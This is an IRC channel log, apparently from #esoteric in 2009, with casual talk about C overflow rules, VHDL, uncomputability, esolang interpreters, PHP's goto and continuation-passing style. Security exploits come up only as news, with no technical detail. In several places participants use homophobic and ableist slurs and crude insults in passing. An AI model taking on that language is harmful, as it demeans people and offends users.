13:20:38 <fizzie> If you want the exact wording, C99 6.2.5 Types: "A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo [what you'd expect]".
13:21:09 -!- sebbu has quit (Read error: 110 (Connection timed out)).
13:21:09 -!- sebbu2 has changed nick to sebbu.
13:24:08 <Deewiant> fizzie: C++, not C99. Though I don't need the exact wording anyway.
13:26:20 <fizzie> Also, as far as I can determine, the standard uses the word "overflow" (occasionally as "positive overflow" or "negative overflow") for any got-out-of-range activities, and "underflow" is reserved for the floating-point "the magnitude of the mathematical result is so small that the mathematical result cannot be represented, without extraordinary roundoff error, in an object of the specied type" case.
13:53:02 -!- Corun has quit ("Leaving...").
13:57:57 -!- nooga has quit (Read error: 60 (Operation timed out)).
14:00:40 -!- MigoMipo has joined.
14:08:45 -!- nooga has joined.
14:14:17 -!- lereah_ has quit (Remote closed the connection).
14:16:25 -!- psygnisfive has joined.
14:17:01 -!- Judofyr has quit (Remote closed the connection).
14:19:40 -!- nooga has quit ("Leaving...").
14:28:28 -!- Corun has joined.
14:52:49 -!- MigoMipo has quit (Read error: 54 (Connection reset by peer)).
14:53:26 -!- whtspc has joined.
14:54:23 <whtspc> I only come here when I have a question
14:54:39 <whtspc> it's about boolean algebra
14:54:40 <ais523> fair enough, although it's fun to listen in on the conversation as well
14:55:20 <whtspc> I understand there is a notation for boolean algebra
14:55:57 <whtspc> but I don't know if you can put a whole circuit diagram in a line of text
14:55:58 <ais523> more than one, in fact
14:56:09 <ais523> and you can, but it wouldn't be easy to read
14:56:26 <whtspc> it would be much like programming in an esolang
14:56:50 <ais523> or in an ordinary language
14:56:58 <ais523> VHDL, for instance, can express circuit diagrams pretty well
14:57:05 <ais523> it was one of the things it was designed for
14:57:10 <ais523> but then, VHDL's almost an esolang as it is
14:57:29 -!- Corun has quit ("Leaving...").
14:58:27 <whtspc> is an electronic circuit a program?
14:58:42 <ais523> VHDL's designed to be compiled into hardware
14:59:11 <whtspc> or is the lack of recursion important
14:59:35 <ais523> VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware
14:59:43 <ais523> it doesn't even have loops in the synthesizable subsets
14:59:49 <ais523> well, it has for-generate, but that's always unrolled
15:02:28 <whtspc> I will read into VHDL, I think it will clear things up
15:03:02 <ais523> or muddy them, depending on your point of view
15:03:35 <whtspc> Yeah, but maybe I'm not quite sure what I'm looking for :)
15:04:11 -!- BeholdMyGlory has joined.
15:05:19 <whtspc> I would like to setup circuit diagrams, in one string of characters
15:06:07 <whtspc> I'm looking for the best way to lose the 2 dimensions that are usually used to display circuits
15:06:30 <ais523> you might want to look into Verilog rather than VHDL; nowadays they're the same language as they stole all of each other's features, but with different syntax
15:06:33 <whtspc> 1 of the 2 dimensions I mean
15:06:43 <ais523> in VHDL you have to declare everything, in Verilog lots of stuff are implicit
15:06:47 <ais523> so I imagine it's better for one-liners
15:07:44 <whtspc> I see it's better readable for someone like me too
15:08:04 <whtspc> thank you for your feedback
15:10:19 -!- oerjan has joined.
15:21:30 <oerjan> <lereah_> Are all uncomputable problems somehow transformable into the Halting Problem?
15:21:49 <oerjan> no, just one "level" of uncomputability
15:21:58 <ais523> yep, there's more than one uncomputable computational class
15:22:03 <oerjan> see Banana Scheme and Brainhype
15:22:09 <ais523> just it's rare to bother with the distinctions, because we can't implement any of them anyway
15:22:57 <oerjan> for "any" class you can generate a larger class by using the halting problem for _that_ class
15:24:23 <oerjan> because the proof of the halting problem's unsolvability doesn't depend on your fundamental operations, only on a minimal amount of ways to combine them - so adding more fundamental operations doesn't help getting the process to stop
15:24:51 <oerjan> so you can keep adding new halting problem deciders for the previous level, ad nauseam
15:33:51 -!- BeholdMyGlory has quit (Remote closed the connection).
15:43:18 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
15:45:09 <Deewiant> Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/
15:57:45 -!- pikhq_ has joined.
16:08:02 <oerjan> !swedish gurkar i små burkar
16:09:43 <oerjan> !swedish gurkar som torkar i små burkar
16:09:44 <EgoBot> goorker sum turker i små boorker
16:11:03 -!- pikhq has quit (Read error: 110 (Connection timed out)).
16:11:18 -!- pikhq_ has changed nick to pikhq.
16:12:15 <oerjan> !swedish gurkar som torkar i små burkar med bark
16:12:15 <EgoBot> goorker sum turker i små boorker med berk
16:12:33 <oerjan> it just won't take a hint!
16:12:42 <pikhq> !swedish Bork bork bork!
16:12:42 <EgoBot> Burk bork bork! Bork Bork Bork!
16:12:59 <pikhq> !swedish Burk bork bork! Bork Bork Bork!
16:13:00 <EgoBot> Boork bork bork! Bork Bork Bork! Bork Bork Bork!
16:15:03 <oerjan> !swedish Vi torkar gurkar i små burkar med bark.
16:15:04 <EgoBot> Fee turker goorker i små boorker med berk. Bork Bork Bork!
16:15:30 <oerjan> !swedish stupid punctuation!
16:15:30 <EgoBot> stoopeed poonctooeshun! Bork Bork Bork!
16:17:40 <oerjan> !swedish what about commas, i wonder
16:17:41 <EgoBot> vhet ebuoot cummes, i vunder
16:18:32 <pikhq> !swedish Bork? Bork? Bork? ¿Bork‽
16:18:32 <EgoBot> Burk? Bork? Bork? ¿Bork‽
16:18:51 -!- inurinternet has quit (Connection timed out).
16:43:53 -!- oerjan has quit ("leaving").
17:33:30 -!- KingOfKarlsruhe has joined.
17:33:52 -!- GregorR-L has joined.
17:50:56 -!- Hiato has joined.
18:05:25 -!- Hiato has quit ("Leaving.").
18:12:19 -!- GregorR-L_ has joined.
18:14:03 -!- GregorR-L has quit (Read error: 104 (Connection reset by peer)).
18:32:13 -!- kar8nga has joined.
18:48:00 -!- jix has joined.
18:49:39 -!- jix_ has quit (Read error: 60 (Operation timed out)).
18:59:43 -!- Hiato has joined.
19:08:21 -!- olsner has joined.
19:23:17 -!- kar8nga has quit (Remote closed the connection).
19:25:05 <lifthrasiir> FireFly: if you are still interested, this is my implementation of Migol 09 in C: http://hg.mearie.org/esotope/migol/
19:26:17 -!- MigoMipo has joined.
19:30:07 <FireFly> That's impressive, I believe it's the biggest effort done with Migol so far?
19:31:59 <lifthrasiir> maybe i can now start bigger project with it. XD
19:34:06 <lifthrasiir> MigoMipo: http://hg.mearie.org/esotope/migol/ Migol interpreter in C.
19:34:30 <MigoMipo> lifthrasiir: I know, really impressive!
19:34:36 -!- BeholdMyGlory has joined.
19:34:38 -!- impomatic has joined.
19:34:45 <MigoMipo> I wrote my interpreter using nothing but the standard Regular Expression classes in Java. It is a bit slow.
19:47:11 <FireFly> Hm.. It isn't telling you which row/statement is errorneous, if it errors while parsing the code?
19:48:05 <lifthrasiir> FireFly: for now, right. maybe implemented someday. :p
19:48:55 <FireFly> I guess I'll just binary sort through my code then
19:49:44 <lifthrasiir> FireFly: if you really want, change if (0) to if (1) in migol-parse.c.
19:50:00 <lifthrasiir> it should print out internal compiled code.
19:50:01 <FireFly> Ah, right, I forgot it was open source ._.
19:50:30 -!- GregorR-L_ has changed nick to GregorR-L.
19:51:13 <lifthrasiir> anyway printing verbose report requires some changes, which is not done for simpler initial code.
19:54:46 -!- tetha has quit (Read error: 60 (Operation timed out)).
19:56:58 -!- tetha has joined.
19:58:01 -!- impomatic has left (?).
20:06:57 <FireFly> Ah.. It raised an error on 'ö>
20:26:43 -!- Hiato has quit ("Leaving.").
20:27:34 -!- Corun has joined.
20:29:35 -!- Corun has quit (Client Quit).
20:34:25 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
20:58:57 -!- Gracenotes has joined.
21:14:17 -!- tombom_ has joined.
21:15:10 -!- tombom_ has quit (Client Quit).
21:18:40 -!- Corun has joined.
21:30:15 -!- tombom has quit (Read error: 110 (Connection timed out)).
21:41:04 -!- ehird has left (?).
21:41:04 -!- ehird has joined.
21:43:23 <ehird> 22:19:58 <warrie> ehird: it appears that you searched reddit for comments mentioning Nomic.
21:43:30 <ehird> What gave you that idea?
21:43:37 <ehird> 23:49:52 <GregorR> Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P
21:43:41 <ehird> Set your dpi right, foo :P
21:43:49 <ais523> ehird: did you then search reddit for nomic comments upon warrie giving you the idea?
21:44:25 <ehird> http://www.reddit.com/user/ehird/
21:44:28 <ehird> I only see one nomic c omment
21:44:39 <GregorR-L> ehird: No DPI on "I'm outputting to fucking composite" display :P
21:44:50 <ehird> GregorR-L: Fontconfig dpi, you weetard.
21:45:05 <ehird> It makes things Work(TM).
21:45:26 <ehird> Gnome has a nice settings panel to set it; no fuckin' clue how you set it in the config files.
21:45:34 <ehird> Poke around fontconfig stuff and do the dpkg-reconfigure then :P
21:45:41 <ehird> GregorR-L: Thus what I said
21:46:10 <ehird> 02:07:04 <Deewiant> Evidently P != NP http://arxiv.org/abs/0906.1084
21:46:30 <ehird> arxiv should rename to quaxiv
21:47:02 * GregorR-L prepares to snag some delicious nick somebody forgot about :P
21:47:11 <ehird> ais523: because half of the stuff on there is deliciously quacky
21:47:16 <ehird> (due to being free-for-all)
21:47:21 <ais523> GregorR-L: what about "estoppel"?
21:47:36 <ais523> also, the paper does superficially look plausible
21:47:39 <ehird> ooh, I forgot about that nick
21:47:42 -!- ehird has changed nick to estoppel.
21:47:58 <ais523> but of course that probably means it's just good at being plausibly fakse
21:48:09 <estoppel> 02:21:35 <Patashu> bouncing billard balls off each other and stuff
21:48:40 <estoppel> 02:45:47 <lereah_> http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG
21:50:17 <estoppel> 06:55:57 <whtspc> but I don't know if you can put a whole circuit diagram in a line of text
21:50:35 <estoppel> 06:59:35 <ais523> VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware
21:50:45 <estoppel> VHDL's result is TC w/ infinite memory, right?
21:50:57 <estoppel> (say, it's hooked up to an infinite memory store)
21:51:22 <estoppel> 07:45:09 <Deewiant> Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/
21:51:29 <estoppel> funny, but... it was a day before the elections
21:51:46 <estoppel> the conspiracist in me says "they were trying to discredit piratpartiet"
21:52:09 <GregorR-L> ehirdstoppel: Holy fekking wow! That just works!
21:52:47 <ais523> estoppel: VHDL doesn't have syntax for accessing an infinite memory store
21:52:59 <ais523> it's really really hard to link VHDL up to unbounded memory, by design
21:53:07 <ais523> although you might be able to do it via debug input/output
21:53:21 <GregorR-L> Something I'd never heard of. And it just fekking works. That's going to help my wearable a LOT
21:53:37 <estoppel> You may thank me in the form of rare IRC nickname registrations.
21:53:55 <estoppel> GregorR-L: what res is that .5" display
21:54:04 -!- oerjan has joined.
21:54:45 <estoppel> GregorR-L: i assume decent, as a wearable computer that's blocky is useless
21:54:48 <estoppel> GregorR-L: btw can it work as a visor?
21:54:56 <estoppel> you have it covering your vision and it relays a camera
21:55:03 <estoppel> (would have to be a fast-taking and high-res camera)
21:55:08 <estoppel> then you could like, overlay HUDs and shit on it
21:55:56 -!- pikhq has joined.
21:56:22 * oerjan thinks a visor with, say 0.5 s delay could lead to some hilarious situations
21:56:52 <estoppel> GregorR-L: that's kind of lame
21:57:00 <estoppel> everything will be blocky and pixelated
21:57:08 <ais523> that's, what, about 1000 dpi
21:57:12 <estoppel> ais523: half an inch right next to your eye
21:57:23 <ais523> 640x480 is apparently more than enough for VR goggles
21:57:27 <GregorR-L> estoppel: You need to lighten up, we're in 2009, not 2209.
21:57:35 <ais523> because you can move your head in order to simulate a bigger display
21:57:51 <estoppel> GregorR-L: is your display oled?
21:58:00 <ais523> as in, showing just 640x480 at a time, combined with head/eye movements, gives you tens of thousands of pixels in each direction
21:58:14 <estoppel> ais523: yes, but if you just stand there, everything will be very unrealistically blocky
21:58:15 <ais523> apparently 640x480 VR goggles are good for programming with
21:58:16 <GregorR-L> estoppel: I honestly don't know, I dissected it from a Myvu Crystal.
21:58:41 <estoppel> GregorR-L: you got this a while ago right?
21:58:49 <estoppel> I don't know of any 1600dpi OLED display
21:58:53 <GregorR-L> If by a while you mean a few months, then yes.
21:59:50 <GregorR-L> SO IS YOUR FACE. No wait, that came out wrong.
22:00:36 * pikhq is in the middle of a severe thunderstorm. \o/?
22:02:52 * myndzi estoppel: you suck dicks
22:03:14 <GregorR-L> <estoppel> Looks like I'm committed now.
22:03:27 * ais523 myndzi ais523 myndzi estoppel
22:03:27 * myndzi ais523 myndzi ais523 estoppel
22:03:36 <ais523> seems to be straightforward substitution
22:03:46 <tetha> and it produces pretty patterns
22:03:50 <estoppel> I was hoping for a TWO-PRONGED ATTACK.
22:04:01 -!- BeholdMyGlory has quit (Remote closed the connection).
22:04:05 <ais523> ok, that dosen't trigger it
22:04:50 <estoppel> ais523: "Solve::svars: Equations may not give solutions for all "solve" variables. >>"
22:06:29 -!- pikhq_ has joined.
22:06:40 -!- pikhq has quit (Nick collision from services.).
22:06:49 -!- pikhq_ has changed nick to pikhq.
22:07:03 <estoppel> ais523: news! news! PHP have added the flexible control structure goto!
22:07:15 <ais523> how good a goto is it?
22:07:20 <ais523> C-good? Perl-good? asm-good?
22:07:36 <estoppel> WHO THE FUCK *ADDS* GOTO AS AN EXPERIMENTAL FEATURE TO A LANGUAGE‽‽‽‽‽
22:07:41 <pikhq> In other news, C++ has lambda.
22:07:43 <ais523> a high-level language doesn't need C-style gotos
22:07:55 <ais523> asm-style, yes if you're mad
22:08:32 <pikhq> But the thing is, it's another language becoming a mess for features that don't make much sense.
22:08:33 <estoppel> LOL@ guy in agora accusing xkcd of not understanding the Game's rules.
22:08:46 <ais523> estoppel: the #esoteric game takes precedence, doesn't it?
22:08:51 <pikhq> ... Right. *More* of a mess.
22:08:59 <GregorR-L> estoppel: PHP is trying to catch up with Perl in terriblocity.
22:09:14 <pikhq> Though at least C++ is doing its feature-adding vaguely sanely.
22:09:17 <estoppel> ais523: either the game never worked, or Not the Game blocks it, OR the "games can affect their playstate without you playing them" *only* applies to the Game, which is ridiculous
22:09:27 <pikhq> Adding features that increase code expressiveness.
22:09:30 <estoppel> so in 2/3 possibilities— and the most likely ones— the Game is neutralized if you want it to be.
22:09:32 <GregorR-L> pikhq: C++ just suffers from too much feature-adding, not enough (namely 0) feature-removing ;)
22:09:40 <pikhq> ... But come on. C-style gotos?
22:09:54 <estoppel> pikhq: BTW. The anti-sec guys? Yeah; they've done it again.
22:10:11 <tetha> hehe, when will php get longjumps?
22:10:28 <estoppel> they're the retarded cousin of continuations
22:10:36 <estoppel> that want so much to be like him!
22:10:59 <estoppel> pikhq: Oh, and it's another remote-login 'sploit.
22:11:11 <estoppel> pikhq: Also, a 'sploit to escape from a jailed shell.
22:11:17 <estoppel> And then they go and grab themselves root.
22:13:28 <ais523> apparently, some shared hosting people were hacked into recently via a hypervisor exploit via a SQL injection
22:13:44 <ais523> I can't really imagine quite what sort of setup you'd have to have for that to even be possible
22:13:59 <estoppel> ais523: can't some sql servers execute commands?
22:14:11 <estoppel> ais523: i guess really shitty mysql permissions let them do that
22:14:14 <ais523> you'd expect the perms to lock that down
22:14:27 <ais523> on MySQL, you'd have to go to a lot of effort to open up the perms that much
22:14:29 <estoppel> ais523: could be a bug in the server; could just be a retardedness.
22:14:37 <estoppel> just log in as root on the mysql server
22:14:42 <estoppel> it's a hypervisor; so virtualization
22:14:47 <ais523> they're locked-down by default, IIRC
22:14:48 <estoppel> so I guess you're given root-y stuff
22:14:53 <estoppel> so maybe the website owner's stupid
22:15:00 <ais523> yes, stupid website owner was my guess too
22:15:46 -!- estoppel has set topic: I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/.
22:15:47 <pikhq> Jailbreaking. "Goody".
22:15:59 -!- estoppel has set topic: I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
22:17:20 <estoppel> unimaginable binary sort anti algorithms
22:21:54 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
22:26:14 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
22:29:06 -!- olsner has quit ("Leaving").
22:31:53 <oerjan> although it seems i really want lifthrasiir
22:32:19 <oerjan> the esotope site was down, so i thought the link MigoMipo put on the wiki was wrong
22:32:27 <oerjan> but it agrees with User:Tokigun
22:37:49 -!- pikhq has joined.
22:40:37 <estoppel> Contrarian: Brian D. Foy. Brian D. Foy.
22:42:16 <pikhq> So, what'd I miss?
22:42:57 <oerjan> although mainly that the esotope site is down
22:45:04 <estoppel> since 22:21, when you last quit.
22:45:04 -!- oerjan has set topic: Till att torka gurkarna använder vi en så her björkbarkburk | logs: http://tunes.org/~nef/logs/esoteric/.
22:45:32 * oerjan knows not if he got that right, but he tried
22:45:58 <pikhq> estoppel, I lost my connection at xx:17.
22:46:23 -!- estoppel has set topic: Til at torquer good karma AnMaster vi and the her Bjork bark burk. | http://tunes.org/~nef/logs/esoteric/.
22:46:28 -!- coppro has joined.
22:46:47 <pikhq> Or, if you demand specificness: 21:17Z.
22:47:19 <oerjan> estoppel: that's not particularly funny. i tried using _real_ swedish.
22:47:37 * oerjan suspects "så" should be "sådan".
22:47:58 <oerjan> except björkbarkburk is probably only a theoretical word
22:48:36 -!- inurinternet has joined.
22:50:39 * coppro loves that he can log into SF with an SF url
22:51:39 <estoppel> doing so is silly, though; unless you want to use your SF login for everything
22:51:45 <estoppel> which is a weird thing to want to do
22:51:56 <ais523> I have a throwaway idbin.ca account
22:51:58 <coppro> Why is that a weird thing?
22:52:04 <ais523> but I've never got it to work
22:52:31 <estoppel> coppro: because SF are unreliable and crappy, and centralizing your online identity around a service that doesn't even have it as a major concern is bad
22:53:10 <coppro> Compared to the other various forwards I have, that one's the easiest to type, though
22:54:03 <estoppel> coppro: ah, you have it forwarded to another openid?
22:54:08 <estoppel> that's ok then, since it's just used as a shortcut
22:54:55 <coppro> I don't think they provide OpenIDs
22:55:05 <coppro> though I could easily be wrong
22:55:29 <estoppel> ofc, openid is unlikely to be adopted because of Facebook Connect's (relative) dominance
22:55:36 <coppro> I use Launchpad as my actual provider since they were the first place at which I had an account to provide it
22:56:22 <coppro> never had any issues whatsoever
22:57:38 * estoppel tried the google chrome for os x prepreprepreprealpha
22:57:44 <estoppel> it's a lot better than the recent dev builds
23:00:32 <ais523> oh dear, a commenter on Slashdot just invented browsers as webapps
23:00:48 <ais523> on the basis that you shouldn't need to download Firefox, it should just work
23:00:52 <ais523> I think he was being sarcastic though
23:01:10 <ais523> here's the thread: http://tech.slashdot.org/comments.pl?sid=1262739&cid=28271783
23:01:15 <ais523> pretty short atm though
23:01:29 * ais523 starts to wonder if that might be a good idea
23:01:36 <ais523> an IE webapp, for instance, to test rendering in IE
23:01:43 <ais523> whilst from a non-Windows computer
23:01:46 <estoppel> "Absolutely. Firefox should have been implemented as an activeX plugin.
23:01:46 <estoppel> No, wait. DHTML and javascript. And written to only run in IE6."
23:01:56 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
23:01:57 <estoppel> just takes a screenshot, though
23:02:06 <estoppel> ais523: also: java vnc on cluster of vms
23:02:07 <ais523> that doesn't count, it's server-side
23:02:16 <ais523> clearly the solution is: JSMIPS!
23:02:26 <estoppel> ais523: that's cheating, that's always the solution
23:02:38 <pikhq> Clearly the solution is: BFJS!
23:03:03 <pikhq> (thereby abstracting away the JAvascript engine!)
23:03:26 <estoppel> !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
23:03:42 <pikhq> So you have JSBFJSMIPSXUL
23:03:43 -!- ais523 has quit (Remote closed the connection).
23:07:24 <estoppel> http://www.archub.org/rewrite-login ← proof that paul graham cannot write good code
23:08:14 <pikhq> I thought it had been pretty well estabilished that he only does essays and venture capitalism well. :P
23:08:52 <estoppel> and YC is just a "Give me money for I have no business model" setup :)
23:09:18 <pikhq> See, venture capitalism.
23:09:36 <estoppel> it's kind of like saying you're good at going to the toilet.
23:09:44 <pikhq> And his essays aren't shit. They're interesting, thought-provoking, and usually horribly wrong.
23:09:55 <estoppel> requirements for doing vc well: (a) have a bunch of money. (b) have an urge to waste it all
23:10:04 <pikhq> A shitty essay fails to be interesting and thought-provoking. ;)
23:10:10 <estoppel> pikhq: but dude... he MADE VIAWEB.
23:10:15 <estoppel> How can he be WRONG? Yahoo BOUGHT IT.
23:10:42 <estoppel> It worked because lisp introspected the lispness and the parentheses printed money.
23:11:07 -!- KingOfKarlsruhe has quit (Remote closed the connection).
23:12:16 <estoppel> pikhq: You don't appear to have one.
23:12:47 <pikhq> ... That is some horrible, horrible Lisp.
23:13:05 <estoppel> (cadr (conth 1 (conth 2 nil)))
23:13:17 -!- FireFly has quit ("Later").
23:13:35 <estoppel> (We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells ETC)
23:14:16 <pikhq> MY GOD MAN, COMMENT IT!
23:14:30 <pikhq> (rewrite-login is hurl)
23:14:48 <estoppel> I totally forgot about that haha
23:15:30 <estoppel> (AAAAAAAAAAAAAOOOOOOOOOOOOOAOAOAOAAAAAAAAAAAAAAAA)
23:16:10 <estoppel> Ah, The Sussman. Bach is delighted to collaborate with you; his only sadness is that it had to be post-humous.
23:16:28 <pikhq> estoppel: My God, you'd think Paul Graham had never heard of metaprogramming.
23:16:55 <estoppel> <pg> pikhq: CAN YOU GIVE AN EXAMPLE OF HOW METAPROGRAMMING CAN MAKE PROGRAMS SHORTERUI!"!?!?!!:{!{329874956
23:17:03 <estoppel> (literally the only thing he says to opponents)
23:17:32 <pikhq> It looks a lot like my original code for PEBBLE.
23:17:34 <estoppel> (For those who have not achieved Satori, http://dqn.dqn.lol.googlepages.com/GJS_Jay_Sussman_Feat._JSB_Sebastian_.mp3)
23:17:38 <pikhq> Needless to say, I threw that shit away.
23:17:42 <estoppel> (Having a monologue and a conversation at once is difficult)
23:17:56 <estoppel> pikhq: i like how his refactoring is _harder_ to understand
23:18:07 <estoppel> arc will never beat j for short :-)
23:18:10 <pikhq> It grew longer after the rewrite, but that's because I added a lot to it at the time.
23:18:42 <coppro> metaprogramming am good
23:18:43 <Asztal> estoppel: one must listen to the extended ``satori'' mix too
23:19:06 <estoppel> Asztal: But lo, is there not such a thing as ``[spoiler]Too Much of a Good Thing[/spoiler]''?
23:19:56 <estoppel> Asztal: Next you'll be telling me to use “ and ” instead of ``faggot quotes''.
23:20:14 <Asztal> No, I'm a fan of ``proper quotes''.
23:20:37 <estoppel> Asztal: ``Faggot quotes'', `proper quotes'.
23:20:44 <estoppel> Source: http://dis.4chan.org/read/prog/1196688306/6
23:21:08 <Asztal> I also enjoy abusing ‘ as an apostrophe, but nobody‘s annoyed about that one, as far as I can see.
23:23:28 * estoppel writes some ``J Software'' code.
23:23:45 <estoppel> I note that the non-/prog/dolytes in the audience are probably terribly confused.
23:25:48 <Asztal> I think you mean /prog/lodytes
23:26:44 * coppro doesn't even use 4chan
23:27:57 <estoppel> Programming in ``J Software'' sure would be more productive if I didn't have to bring up the reference every time I want an operation.
23:30:46 -!- pikhq_ has joined.
23:32:06 -!- pikhq has quit (Nick collision from services.).
23:35:16 * estoppel attempts to find J's "nest until meets condition" function
23:36:27 -!- pikhq_ has changed nick to pikhq.
23:40:55 <oerjan> to find the nest, you also have to find the easter egg
23:45:30 <estoppel> "HyperVM boss hangs himself after exploit destroys 100,000 websites"
23:45:52 <estoppel> "A zero-day hacker today has the death of one man and one hundred thousand websites on his or her conscience. "
23:46:31 <oerjan> the (reddit) comments imply it was rather dubious that was the real cause
23:48:03 <oerjan> well the hundred thousand websites part may be correct
23:58:18 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
00:29:53 -!- fungot has quit (hubbard.freenode.net irc.freenode.net).
00:30:27 -!- fungot has joined.
00:54:34 -!- estoppel has changed nick to ehird.
02:13:12 -!- inurinternet has joined.
02:31:47 <GregorR> Now I have a kitty AND a wearable computer.
02:38:02 <pikhq> Aren't you just a budding evil genius?
02:39:03 <GregorR> Evil geniuses have evil cats. Tia is just neutral.
02:39:16 <pikhq> You have started down the road.
02:39:35 <oerjan> chaotic neutral, yessir
02:39:52 <pikhq> oerjan: Like all cats.
02:40:02 <pikhq> Emphasis on the chaos.
02:41:12 <oerjan> GregorR: what you should look out for is kick the dog moments. which probably cats don't help avoid
03:25:51 -!- oerjan has quit ("Good night").
04:23:09 -!- MizardX has quit ("reboot").
04:33:42 -!- MizardX has joined.
05:00:52 -!- MizardX has quit (Read error: 104 (Connection reset by peer)).
05:02:08 -!- MizardX has joined.
05:04:37 -!- Corun has changed nick to Corun|away.
05:15:40 -!- Corun|away has changed nick to Corun.
05:16:47 -!- Corun has quit ("Leaving...").
05:21:59 -!- inurinternet has quit (Read error: 110 (Connection timed out)).
05:44:36 <lifthrasiir> it seems that my server got down just because bind is (mistakenly) shut down. :( all is fine now. sorry for inconvenience.
06:01:54 -!- calamari has joined.
06:02:28 -!- adu has joined.
06:08:42 -!- adu_ has joined.
06:08:51 -!- adu_ has quit (Remote closed the connection).
06:29:26 -!- adu has quit (Read error: 110 (Connection timed out)).
06:34:15 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
06:36:05 <MizardX> Oh. Server included. Then I don't know.
06:38:38 -!- psygnisfive has joined.
06:39:01 <MizardX> It's far out of my price range anyhow.
06:40:40 <GregorR> http://localhost/masterpiecemachine/autocompose.php // YAY ITS BAD
06:41:01 <GregorR> http://codu.org/masterpiecemachine/autocompose.php // YAY ITS BAD
06:50:02 <lifthrasiir> php was originally messy, but now it's becoming messier XD
06:55:16 -!- warrie has set topic: Deep European German Christian German Mole Christian Good Machine Christian Scottish Talk Machine Christian Machine Amusing Without Sad | http://tunes.org/~nef/logs/esoteric/.
06:57:33 <warrie> "Deep" means "hello", "European" means "all", "German" means "you", "Christian" means ";", "Mole" means "is/does what", "Good" means "good", "Machine" means "I", "Scottish" means "that which I demand that you be", "Talk" means "talk", "Amusing" means "amusing", "Without" means "without", and "Sad" means "sad".
06:58:01 <warrie> So it's "Hi y'all; how are you; I'm fine; talk to me; I'm bored".
06:58:17 -!- psygnisfive has set topic: No. | http://tunes.org/~nef/logs/esoteric/.
07:05:29 <MizardX> I have 100 mbit uncapped... for 1/50th of the price.
07:05:53 <bsmntbombdood> MizardX: try to push 30 terabyte/month through it and get back to me
07:14:18 -!- kar8nga has joined.
07:14:47 <MizardX> I can get up to maybe 8-9 mb/s with 2-4 torrents running. But then I can't watch any HD movies without it getting out of sync.
07:15:53 <bsmntbombdood> i can expect a torrent to download at about 120 kilobytes/second
07:17:17 <GregorR> BACK IN MY DAY WE HAD 200 BAUD MODEMS, AND WE WERE HAPPY TO HAVE EM
07:18:27 <MizardX> baud... is that bits/second?
07:19:13 <GregorR> It's the olde spelling of "bad"
07:24:10 <warrie> The World Wide Web needs no bandwidth.
07:24:26 <warrie> And by "no bandwidth", I mean under a kilobyte per second.
07:24:58 <warrie> And by "the World Wide Web", I mean hand-written HTML.
07:28:20 -!- FireFly has joined.
07:42:52 <warrie> As long as it's hand-written CSS.
07:55:47 <warrie> They're fine as long as they're hand-typed.
07:57:29 -!- kar8nga has quit (Remote closed the connection).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:28:52 -!- lereah_ has joined.
08:53:48 -!- calamari has quit ("Leaving").
09:04:34 -!- jix_ has joined.
09:10:52 -!- jix has quit (Read error: 110 (Connection timed out)).
09:36:58 -!- lereah_ has quit (Remote closed the connection).
09:39:22 <psygnisfive> i wonder if it would be possible to treat all functions like continuations or callbacks or something...
09:40:51 <psygnisfive> a; x = f(); b is equivalent to a; f(x -> b)
09:41:45 <psygnisfive> so you wouldn't ever get hangs on long functions ...
09:42:13 <fizzie> That sounds like writing code in continuation-passing style.
09:42:38 <psygnisfive> i mean, i use callbacks a lot in JS, right
09:43:01 <psygnisfive> because you dont want your browser to lock on a lock query
09:43:27 <psygnisfive> the browser just calls the callback whenever the http request returns
09:43:41 <psygnisfive> so you dont lock the browser waiting for the server to respond
09:44:00 <psygnisfive> so i figure, why not do that for all function calls, period
09:44:27 <psygnisfive> so that a sequence of function calls is like multiple nested callbacks
09:45:15 <psygnisfive> and because its all callback based, you can spin off the things into threads relatively easily
09:45:38 <psygnisfive> i mean, then you get concurrency issues, granted, so itd work ideally in functional languages, but
09:46:36 <fizzie> The Scheme interpreter I wrote in Prolog was written in CPS, since it made implementing call/cc so trivial.
09:47:03 <psygnisfive> im not sure if its technically cps, nor do i know how you CODE in cps, so...
09:49:20 <fizzie> If your functions never return, just call a provided "continuation", then I think it is CPS. Or some sort of mixture, anyway; when writing something like JavaScript, I don't think you want to replace all + operators with a call to "function add(a, b, k) { k(a + b); }".
09:49:51 <psygnisfive> you probably wouldnt want to do THAT, because + is a primitive
09:50:12 -!- tombom has joined.
09:50:17 <psygnisfive> but more importantly, + is trivial, and should never hang ever.
09:52:11 <psygnisfive> so it might be useful, in general, to just have cps built in to all function calls
09:54:02 <fizzie> I think I saw something done in JavaScript that required a call in the style of "setTimeOut(function(){ ... }, 0);" every now and then to avoid getting huge call stacks; I guess JavaScript/ECMAScript environments might not bother with tail-call optimizations.
09:54:57 <psygnisfive> i mean, we dont code like that much, its just a typical example of a callback
11:13:38 -!- psygnisfive has quit (Read error: 110 (Connection timed out)).
12:00:35 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)).
12:01:53 -!- puzzlet has joined.
12:29:46 -!- tombom has quit ("Peace and Protection 4.22.2").
12:49:42 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
12:50:41 -!- bsmntbombdood has joined.
